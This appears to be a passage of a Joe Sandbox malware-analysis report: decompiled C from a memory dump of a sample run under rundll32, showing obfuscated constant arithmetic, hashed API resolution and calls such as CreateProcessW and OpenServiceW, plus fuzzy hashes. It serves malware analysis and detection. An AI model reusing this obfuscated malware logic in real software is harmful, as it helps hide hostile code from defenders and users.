								_t207 = 0x253a862;
								continue;
							} else {
								if(_t207 == 0x9209cdc) {
									_push(0x29c141c);
									E029E06A6(__eflags,  *0x29e5bd8 + 0x238, _v1056, E029E0AD3(_v1092, _v1108, __eflags), _v1128, _v1100,  &_v1040, _v1116);
									E029D2EED(_v1120, _v1076, _v1060, _t198);
									_t235 =  &(_t235[0xa]);
									_t207 = 0xe7609d7;
									continue;
								} else {
									_t241 = _t207 - 0xe7609d7;
									if(_t207 == 0xe7609d7) {
										E029D604E(_v1068,  &_v1040, _t241, _v1124,  &_v520, _v1084); // executed
										_t235 =  &(_t235[3]);
										_t229 =  !=  ? 1 : _t229;
										_t207 = 0x1717058;
										continue;
									}
								}
							}
						}
						goto L11;
					}
					E029CAEB9( &_v1040, _v1072, _v1096, _v1064); // executed
					_t207 = 0xe812b52;
					L11:
					__eflags = _t207 - 0xe812b52;
				} while (__eflags != 0);
				return _t229;
			}

0x029c8d59
0x029c8d5f
0x029c8d69
0x029c8d71
0x029c8d7a
0x029c8d7c
0x029c8d80
0x029c8d88
0x029c8d8d
0x029c8d92
0x029c8d9a
0x029c8da8
0x029c8dad
0x029c8db3
0x029c8dbb
0x029c8dc3
0x029c8dcb
0x029c8dd3
0x029c8dd8
0x029c8de0
0x029c8de8
0x029c8df0
0x029c8dfd
0x029c8dfe
0x029c8e02
0x029c8e0a
0x029c8e12
0x029c8e1a
0x029c8e1f
0x029c8e27
0x029c8e2f
0x029c8e37
0x029c8e3c
0x029c8e44
0x029c8e49
0x029c8e51
0x029c8e59
0x029c8e5e
0x029c8e66
0x029c8e6e
0x029c8e78
0x029c8e7c
0x029c8e81
0x029c8e89
0x029c8e91
0x029c8e9f
0x029c8ea3
0x029c8ea8
0x029c8eb0
0x029c8eb8
0x029c8ec2
0x029c8ecb
0x029c8ecf
0x029c8ed7
0x029c8edf
0x029c8ee7
0x029c8eec
0x029c8ef1
0x029c8ef9
0x029c8f01
0x029c8f06
0x029c8f0b
0x029c8f13
0x029c8f1b
0x029c8f23
0x029c8f2b
0x029c8f33
0x029c8f3d
0x029c8f4a
0x029c8f57
0x029c8f5f
0x029c8f6e
0x029c8f6f
0x029c8f73
0x029c8f7b
0x029c8f83
0x029c8f88
0x029c8f90
0x029c8f98
0x029c8fa6
0x029c8faa
0x029c8faf
0x029c8fb7
0x029c8fbf
0x029c8fc7
0x029c8fcf
0x029c8fd7
0x029c8fdf
0x029c8fe7
0x029c8feb
0x029c8ff3
0x029c8ff3
0x029c9001
0x029c90cf
0x029c90d4
0x029c90d7
0x00000000
0x029c9007
0x029c900d
0x029c90b0
0x00000000
0x029c9013
0x029c9015
0x029c905a
0x029c908c
0x029c909e
0x029c90a3
0x029c90a6
0x00000000
0x029c9017
0x029c9017
0x029c901d
0x029c903b
0x029c9042
0x029c9048
0x029c904b
0x00000000
0x029c904b
0x029c901d
0x029c9015
0x029c900d
0x00000000
0x029c9001
0x029c90ee
0x029c90f5
0x029c90fa
0x029c90fa
0x029c90fa
0x029c9112

Strings

Rz, xrefs: 029C8E1F

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: Rz
API String ID: 0-2038740235
Opcode ID: b89ac8cc0cc992510fcf2ea547427ce1968435e9461651524dab243665b258cb
Instruction ID: 0abd0d55ac81590e84c0c8c9a3e63f5ea75e90b751eb1727e9febbb9d1ede2ab
Opcode Fuzzy Hash: b89ac8cc0cc992510fcf2ea547427ce1968435e9461651524dab243665b258cb
Instruction Fuzzy Hash: A7913DB24083819FD758CF26C58941BFBE1FBC5718F104A2DF2A696260D7B18A09CF87

Uniqueness

Uniqueness Score: -1.00%

Function 029CF699, Relevance: 1.4, Strings: 1, Instructions: 104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E029CF699(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				void* _t100;
				void* _t124;
				signed int _t126;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t130;
				signed int _t148;
				void* _t149;

				_push(_a12);
				_t149 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t100);
				_v8 = 0xac3e91;
				_t126 = 0x5b;
				_v8 = _v8 / _t126;
				_t148 = 0x3a;
				_t127 = 0x56;
				_v8 = _v8 * 0x68;
				_v8 = _v8 / _t148;
				_v8 = _v8 ^ 0x0003a5db;
				_v16 = 0x3eb6d;
				_v16 = _v16 * 0x11;
				_v16 = _v16 * 0x30;
				_v16 = _v16 ^ 0x0c7fbecf;
				_v12 = 0x3f2196;
				_v12 = _v12 ^ 0x55a4aeab;
				_v12 = _v12 / _t127;
				_v12 = _v12 + 0x1ba1;
				_v12 = _v12 ^ 0x00fbedb9;
				_v24 = 0x302b17;
				_v24 = _v24 / _t148;
				_v24 = _v24 ^ 0x00038207;
				_v12 = 0x1eab31;
				_t128 = 0x11;
				_v12 = _v12 / _t128;
				_t129 = 0x73;
				_v12 = _v12 / _t129;
				_v12 = _v12 * 0x1b;
				_v12 = _v12 ^ 0x000249ea;
				_v16 = 0x1cd46;
				_v16 = _v16 << 6;
				_v16 = _v16 * 0x16;
				_v16 = _v16 ^ 0x09ef033a;
				_v12 = 0xd3a3b7;
				_v12 = _v12 << 1;
				_v12 = _v12 * 0x5c;
				_v12 = _v12 ^ 0x9813ef98;
				_v24 = 0x7ce343;
				_v24 = _v24 >> 0xf;
				_v24 = _v24 ^ 0x00030d93;
				_v20 = 0xcc7d36;
				_t130 = 0x19;
				_v20 = _v20 / _t130;
				_v20 = _v20 ^ 0x0009dd44;
				_t124 = E029CC460(_v16, _v12, _t130, E029CF5E0(), _t149, _v24, _v20); // executed
				return _t124;
			}

0x029cf6a1
0x029cf6a4
0x029cf6a6
0x029cf6a9
0x029cf6ac
0x029cf6ad
0x029cf6ae
0x029cf6b3
0x029cf6c4
0x029cf6c9
0x029cf6d2
0x029cf6d5
0x029cf6d6
0x029cf6e0
0x029cf6e3
0x029cf6ea
0x029cf6f7
0x029cf6fe
0x029cf701
0x029cf708
0x029cf70f
0x029cf71d
0x029cf720
0x029cf727
0x029cf72e
0x029cf73c
0x029cf73f
0x029cf746
0x029cf750
0x029cf755
0x029cf75d
0x029cf762
0x029cf769
0x029cf76c
0x029cf773
0x029cf77a
0x029cf782
0x029cf785
0x029cf78c
0x029cf793
0x029cf79a
0x029cf79d
0x029cf7a4
0x029cf7ab
0x029cf7af
0x029cf7b8
0x029cf7c2
0x029cf7c5
0x029cf7c8
0x029cf7e6
0x029cf7f3

Strings

C|, xrefs: 029CF7A4

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: C|
API String ID: 3298025750-2444742693
Opcode ID: ed0f62a632d906fb3c43c3fe32992958e3bbf5cf354087c936e85217c67f69d2
Instruction ID: 3ffc906191a9aa28525efdc3b17ac4fd663b5b0db79d91c6b7c14f95d473678c
Opcode Fuzzy Hash: ed0f62a632d906fb3c43c3fe32992958e3bbf5cf354087c936e85217c67f69d2
Instruction Fuzzy Hash: BB41E271E01208EBCF08CFA5C9868DEBFB6EB84314F20C09AE015AB250D7B55B55DF50

Uniqueness

Uniqueness Score: -1.00%

Function 029C5314, Relevance: .0, Instructions: 50
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E029C5314() {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t63;
				signed int _t64;

				_v28 = _v28 & 0x00000000;
				_v36 = 0x9e860c;
				_v32 = 0x902dac;
				_v16 = 0xd7443d;
				_t63 = 0x48;
				_v16 = _v16 / _t63;
				_v16 = _v16 ^ 0x3ef5ad9b;
				_v16 = _v16 ^ 0x3ef75515;
				_v12 = 0x59d48a;
				_v12 = _v12 >> 9;
				_v12 = _v12 >> 0xa;
				_v12 = _v12 ^ 0x00074d19;
				_v8 = 0x5b8cf;
				_v8 = _v8 >> 0xc;
				_t64 = 0x23;
				_v8 = _v8 / _t64;
				_v8 = _v8 >> 3;
				_v8 = _v8 ^ 0x00055f51;
				_v20 = 0x73e7d;
				_v20 = _v20 >> 6;
				_v20 = _v20 + 0xaf24;
				_v20 = _v20 ^ 0x0005f8d2;
				_v24 = 0x9b8a27;
				_v24 = _v24 + 0xfffff360;
				_v24 = _v24 ^ 0x009435d7;
				E029D91F7();
				_push(_t64);
				_push(_t64); // executed
				E029CF3F7(); // executed
				return _v8;
			}

0x029c531a
0x029c5320
0x029c5327
0x029c532e
0x029c533a
0x029c533f
0x029c5344
0x029c534b
0x029c5352
0x029c5359
0x029c535d
0x029c5361
0x029c5368
0x029c536f
0x029c5376
0x029c5379
0x029c537c
0x029c5380
0x029c5387
0x029c538e
0x029c5392
0x029c5399
0x029c53a0
0x029c53a7
0x029c53ae
0x029c53bb
0x029c53c9
0x029c53ca
0x029c53cb
0x029c53d5

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3158f4511a14d22c87a5a97ca8187bccb4cf48a4adecba656eb18fc12ab93b3d
Instruction ID: c1f2eca346ea4474f9740e5af75bb6d3aa3560dc262d438adfe0139efa152011
Opcode Fuzzy Hash: 3158f4511a14d22c87a5a97ca8187bccb4cf48a4adecba656eb18fc12ab93b3d
Instruction Fuzzy Hash: 6E21E0B2D1020DEBDB18CFE5D94A4AEBBF1BB50718F208189D414A6280DBB85B08CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0C8DB, Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6EA0C922
___scrt_uninitialize_crt.LIBCMT ref: 6EA0C93C

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 3e5d6173117fb9f43425e00b72ce89bb8ddbf8909d2dec94d21509bdbd6d8a33
Instruction ID: 36ee6cd753930ada5bc4a424446ad2e0429972988567bd465955c10952c79bd2
Opcode Fuzzy Hash: 3e5d6173117fb9f43425e00b72ce89bb8ddbf8909d2dec94d21509bdbd6d8a33
Instruction Fuzzy Hash: 9841B272D04625EFDB50CFE8E940BAE3AA9EF85B9CF104515E8146E240C7314D82CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0C98B, Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6EA0C9C8
dllmain_crt_dispatch.LIBCMT ref: 6EA0C9DF
dllmain_raw.LIBCMT ref: 6EA0CA27
dllmain_crt_dispatch.LIBCMT ref: 6EA0CA3A
dllmain_raw.LIBCMT ref: 6EA0CA4D

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: a2cd6772343051c1cee05558ccde0fab8ace58bf2365e419ac463448adfc3ab5
Instruction ID: 5c492364033358df4f32dc94e5a3c6afa3e215c48256a66c366f3361f18960c0
Opcode Fuzzy Hash: a2cd6772343051c1cee05558ccde0fab8ace58bf2365e419ac463448adfc3ab5
Instruction Fuzzy Hash: 6A216072D00625AFDB51CEE9ED40AAF3A6AEF81B98F054515F8146E250D3318D828BF8

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC2A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6E9FC2A5
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6E9FC2B5

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6E9FC2A0
WakeByAddressSingle, xrefs: 6E9FC2AF

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: 0facceacc421eacb8fd554be7a9b5f9a497970f7295359bf02c0447b3b244f84
Instruction ID: 765547f75c50ae5f288e5e9ae128e9bcb10fde7b4aba2455a774f36881c6a0be
Opcode Fuzzy Hash: 0facceacc421eacb8fd554be7a9b5f9a497970f7295359bf02c0447b3b244f84
Instruction Fuzzy Hash: 1CB09BB0600A01DF9D905AF1494D6C53559B951141302C44C6511FD941E514C545AE27

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC320, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6E9FC325
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6E9FC335

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6E9FC320
WaitOnAddress, xrefs: 6E9FC32F

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: c2d2c28e40fb89b013907d577549a1deef01423636cb3ac30f6e1e770203f28f
Instruction ID: b7b7aac3ae61a12812b89ed3fb33f991f410048d11bf2ae87a5eedbb87fb70b4
Opcode Fuzzy Hash: c2d2c28e40fb89b013907d577549a1deef01423636cb3ac30f6e1e770203f28f
Instruction Fuzzy Hash: 96B09BB0600A01EE5D509AF1494D6C535597961241302C4486415ED541D914C145AD27

Uniqueness

Uniqueness Score: -1.00%

Function 6EA14161, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6EA14169

Part of subcall function 6EA14073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EA161E2,?,00000000,-00000008), ref: 6EA1411F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EA141A1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EA141C1

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f399bfcc70f105096e7e153dcc30b55e26d01b462f713253db34a40316d11641
Instruction ID: 0c735404882ef91b8e7b6c41402d19dd200d6acf731830f110fb1dfb0bf4b100
Opcode Fuzzy Hash: f399bfcc70f105096e7e153dcc30b55e26d01b462f713253db34a40316d11641
Instruction Fuzzy Hash: 7D1104F250CA267E67011BFA4D8ACEF6D6DDE5729D3104815F901E6100EF30CD8782B9

Uniqueness

Uniqueness Score: -1.00%

Function 029D9100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E029D9100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E029DE399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x029d910a
0x029d910c
0x029d910d
0x029d910e
0x029d9111
0x029d9114
0x029d9117
0x029d911a
0x029d911d
0x029d9120
0x029d9123
0x029d9126
0x029d9127
0x029d912a
0x029d912d
0x029d9130
0x029d9133
0x029d9134
0x029d9137
0x029d9138
0x029d9139
0x029d913a
0x029d913f
0x029d9149
0x029d914c
0x029d9153
0x029d915a
0x029d9161
0x029d9168
0x029d916f
0x029d9176
0x029d918e
0x029d9191
0x029d9198
0x029d919f
0x029d91a6
0x029d91ad
0x029d91b4
0x029d91bb
0x029d91c2
0x029d91d5
0x029d91ef
0x029d91f6

APIs

CreateProcessW.KERNEL32(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 029D91EF

Strings

31, xrefs: 029D919F

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 5e0544afc4bc8fc2da3e05744c699d2eb9ef2422206794455e7d334ea1dbfd39
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: B631C272801259BBCF559FA6CD45CDFBFB5FB89714F108158FA1462120C3728A60EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 029C890E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E029C890E(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t46;
				intOrPtr* _t57;
				void* _t58;
				signed int _t60;
				signed int _t61;
				void* _t67;
				void* _t68;

				_t68 = __edx;
				_t67 = __ecx;
				E029C8002(_t46);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x5a89c2;
				_v12 = 0xac9734;
				_t60 = 0xf;
				_v12 = _v12 / _t60;
				_v12 = _v12 + 0xbff0;
				_v12 = _v12 ^ 0x0000f03b;
				_v20 = 0x5d6235;
				_t61 = 0x58;
				_v20 = _v20 * 0x48;
				_v20 = _v20 ^ 0x1a4c6f32;
				_v8 = 0x1651ff;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0x3de9;
				_v8 = _v8 | 0x9dbfa52d;
				_v8 = _v8 ^ 0x9dbe342b;
				_v16 = 0xc9b349;
				_v16 = _v16 >> 0xa;
				_v16 = _v16 ^ 0x000d61f6;
				_t57 = E029DE399(_t61, _v8 % _t61, _t61, 0xa2449830, 0x195, 0x5faffbf6);
				_t58 =  *_t57(_t67, 0, _t68, 0x28, __ecx, __edx, _a4, _a8, 0x28, 0, _a20, _a24); // executed
				return _t58;
			}

0x029c8919
0x029c891b
0x029c892c
0x029c8931
0x029c8937
0x029c893e
0x029c894a
0x029c894f
0x029c8954
0x029c895b
0x029c8962
0x029c896d
0x029c8971
0x029c8974
0x029c897b
0x029c898c
0x029c898f
0x029c8996
0x029c899d
0x029c89a4
0x029c89ab
0x029c89af
0x029c89cd
0x029c89db
0x029c89e2

APIs

SetFileInformationByHandle.KERNEL32(00000000,00000000,?,00000028,?,?,?,?,?,?,?,?,?,00000036,00000000,00000036), ref: 029C89DB

Strings

5b], xrefs: 029C8962

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: FileHandleInformation
String ID: 5b]
API String ID: 3935143524-2683361797
Opcode ID: 63ccbd5bf9bf2d38dd30339ed70447a321936e4e4c5aac198be4ec8ca5f58e68
Instruction ID: 2fa4fa8f30904103a789a4213ab8c795cb56e0a6ff40e54880d6577a63359174
Opcode Fuzzy Hash: 63ccbd5bf9bf2d38dd30339ed70447a321936e4e4c5aac198be4ec8ca5f58e68
Instruction Fuzzy Hash: 4B2168B5E41208BBDB14DF99CD4AAEEBFB5FB40310F108099E914BA280D7B95B159F90

Uniqueness

Uniqueness Score: -1.00%

Function 029CC38F, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E029CC38F(void* __ecx, int __edx, void* _a4, intOrPtr _a8, short* _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t50;
				void* _t59;
				signed int _t61;
				int _t65;

				_push(_a12);
				_t65 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E029C8002(_t50);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0x617f6e;
				_v32 = 0x2c9f69;
				_v12 = 0x3d345c;
				_v12 = _v12 >> 0x10;
				_v12 = _v12 << 1;
				_v12 = _v12 + 0xffff1c15;
				_v12 = _v12 ^ 0xfffbc300;
				_v8 = 0x1d3e99;
				_t61 = 0x3e;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0xcfea;
				_v8 = _v8 ^ 0x5f2ca55f;
				_v8 = _v8 ^ 0x5f2aa82f;
				_v16 = 0xf71959;
				_v16 = _v16 << 0xa;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xac874e69;
				_v20 = 0x5ac786;
				_v20 = _v20 ^ 0xe6acc0dd;
				_v20 = _v20 ^ 0xe6fddbb7;
				E029DE399(_t61, _v8 % _t61, _t61, 0x1f1ae65e, 0x5e, 0x42b99377);
				_t59 = OpenServiceW(_a4, _a12, _t65); // executed
				return _t59;
			}

0x029cc396
0x029cc399
0x029cc39b
0x029cc39e
0x029cc3a1
0x029cc3a3
0x029cc3a8
0x029cc3ae
0x029cc3b2
0x029cc3b9
0x029cc3c0
0x029cc3c7
0x029cc3cb
0x029cc3ce
0x029cc3d5
0x029cc3dc
0x029cc3e8
0x029cc3ee
0x029cc3f1
0x029cc3f8
0x029cc3ff
0x029cc406
0x029cc40d
0x029cc411
0x029cc415
0x029cc41c
0x029cc423
0x029cc42a
0x029cc44a
0x029cc459
0x029cc45f

APIs

OpenServiceW.ADVAPI32(FFFBC300,E6FDDBB7,?,?,?,?,?,?,?,?,029E2FF3,?), ref: 029CC459

Strings

\4=, xrefs: 029CC3C0

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: \4=
API String ID: 3098006287-2040901920
Opcode ID: f0bb5145ee7f5cc29076849a53ae227a1e4ca7211b09d7f87376f75b715373d2
Instruction ID: 1f37f06aa64fab14cc7495d6fb5c4e69cbd4f2e1dcb766319aed28ae7dbbf0e8
Opcode Fuzzy Hash: f0bb5145ee7f5cc29076849a53ae227a1e4ca7211b09d7f87376f75b715373d2
Instruction Fuzzy Hash: A72132B6D00209EBDB05CFE5C909ADEBBB1FB00324F108189E42566250C3BA5B55DF91

Uniqueness

Uniqueness Score: -1.00%

Function 029D4CFD, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E029D4CFD(void* __ecx, long __edx, long _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, void* _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t46;
				void* _t56;
				signed int _t58;
				long _t62;

				_push(_a20);
				_t62 = __edx;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E029C8002(_t46);
				_v20 = 0x7fa37e;
				_v20 = _v20 | 0x057bdedc;
				_v20 = _v20 + 0xffffffcc;
				_v20 = _v20 ^ 0x057d9e34;
				_v8 = 0x65e94f;
				_t58 = 0x2a;
				_v8 = _v8 * 0x5b;
				_v8 = _v8 + 0xffffa5c0;
				_v8 = _v8 / _t58;
				_v8 = _v8 ^ 0x00d22f9e;
				_v16 = 0xf6ef89;
				_v16 = _v16 + 0x478;
				_v16 = _v16 ^ 0x0b24101f;
				_v16 = _v16 ^ 0x0bdb985c;
				_v12 = 0xb9bed2;
				_v12 = _v12 >> 5;
				_v12 = _v12 << 0xd;
				_v12 = _v12 ^ 0xb9b7d5de;
				E029DE399(_t58, _v8 % _t58, _t58, 0xa2449830, 0x264, 0x8babc312);
				_t56 = RtlAllocateHeap(_a20, _a4, _t62); // executed
				return _t56;
			}

0x029d4d04
0x029d4d07
0x029d4d09
0x029d4d0c
0x029d4d0f
0x029d4d12
0x029d4d15
0x029d4d17
0x029d4d1c
0x029d4d25
0x029d4d2c
0x029d4d30
0x029d4d37
0x029d4d44
0x029d4d48
0x029d4d4b
0x029d4d5c
0x029d4d5f
